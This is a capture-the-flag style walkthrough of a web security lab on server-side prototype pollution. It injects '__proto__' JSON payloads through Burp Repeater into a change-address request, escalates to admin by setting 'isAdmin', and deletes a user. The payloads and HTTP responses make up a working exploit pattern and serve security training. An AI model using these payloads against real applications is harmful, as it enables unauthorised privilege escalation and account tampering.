Lab: Privilege escalation via server side prototype pollution
Study the address change feature
After starting the exercise, your store should look similar to the following image.

Now we log in to the store with our credentials wiener:peter. To do this, we open the link My account and enter our data in the form.

The registration form:

After successfully logging in, we will see our account details. Here we now change our billing and delivery address. As an example, we change the information to Line 1.

In the next step, we switch to the Burp Proxy and open the HTTP history there. In the HTTP history we search for the request POST /my-account/change-address.

If we take a closer look at this request, we notice that our data is sent as JSON in the body of the request. The response also contains JSON and we can see that it contains our changed address.

We now send this request to Burp Repeater. To do this, we move the mouse over the request, press the right mouse button and select the "Send to Repeater" option in the context menu. Alternatively, we can also use the key combination CTRL + R.

Identify a prototype pollution source
After switching to the Burp Repeater, we insert the following JSON code into the existing JSON in our request:
"__proto__": {
"foo":"bar"
}The complete JSON code in the request now looks like this:
{
"address_line_1":"Hacker And Victim Inc",
"address_line_2":"One Wiener Way",
"city":"Wienerville",
"postcode":"BU1 1RP",
"country":"UK",
"sessionId":"1NGVTdOZiEn1KI4K1G6Zwwjs0lRXLd1z",
"__proto__": {
"foo":"bar"
}
}We now send this request to the job and receive the following response.
HTTP/2 200 OK
X-Powered-By: Express
Cache-Control: no-store
Content-Type: application/json; charset=utf-8
Etag: W/"dd-9XKtFty9usM1PiX+neSbhfwXYOk"
Date: Mon, 15 Sep 2025 08:31:57 GMT
Keep-Alive: timeout=5
X-Frame-Options: SAMEORIGIN
Content-Length: 221
{
"username":"wiener",
"firstname":"Peter",
"lastname":"Wiener",
"address_line_1":"Hacker And Victim Inc",
"address_line_2":"One Wiener Way",
"city":"Wienerville",
"postcode":"BU1 1RP",
"country":"UK",
"isAdmin":false,
"foo":"bar"
}In line 21, we see that the object in the response now has the property we inserted, but no __proto__ property. This shows that we have successfully contaminated the prototype of the object and our property has been transferred via the prototype chain.
Identify a gadget
Now we look at the additional properties in the JSON within the response and see the property isAdmin with the value false.
Craft an exploit
In our request, we now add the following entry to the JSON:
"__proto__": {
"isAdmin":"true"
}The complete request now has the following appearance.
{
"address_line_1":"Hacker and Victim Inc",
"address_line_2":"One Wiener Way",
"city":"Wienerville",
"postcode":"BU1 1RP",
"country":"UK",
"sessionId":"y2BrgAV9x1PDKU3pv1ZlOyN1KF6UCoE5",
"__proto__": {
"isAdmin":"true"
}
}In the response, we see that the isAdmin property now contains the value true. This indicates that the object does not have its own isAdmin property, but has instead inherited it from the contaminated prototype. If we now refresh our browser, we will see the link Admin panel.

Now we can delete the user carlos in the Admin panel. To do this, we click on the Delete link next to the user name carlos.

We have thus successfully completed the exercise.

Video Solution
Last updated